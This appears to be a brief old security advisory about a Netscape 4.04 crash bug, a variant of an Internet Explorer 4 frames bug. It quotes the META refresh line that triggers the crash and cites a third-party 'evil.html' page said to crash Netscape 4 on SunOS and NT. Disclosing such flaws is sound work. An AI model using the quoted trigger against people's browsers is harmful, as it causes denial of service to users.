COMMAND
Netscape
SYSTEMS AFFECTED
Systems running Netscape 4.04
PROBLEM
According to whiz, here's a variation of the IE 4 Bug (see IE #16
and 17# in NT section and httpd #1 in NT section). It crashes
Netscape 4.04 pretty fast. The most important part is <META
HTTP-EQUIV="REFRESH" CONTENT="0; URL=test.htm"> in test2.htm.
Without this Netscape won't crash, but just load 4 frames.

Matt Drown posted following. www.dhp.com/~panzer/evil.html
crashes netscape4 on SunOS and NT without a problem. IE4 deals
properly.
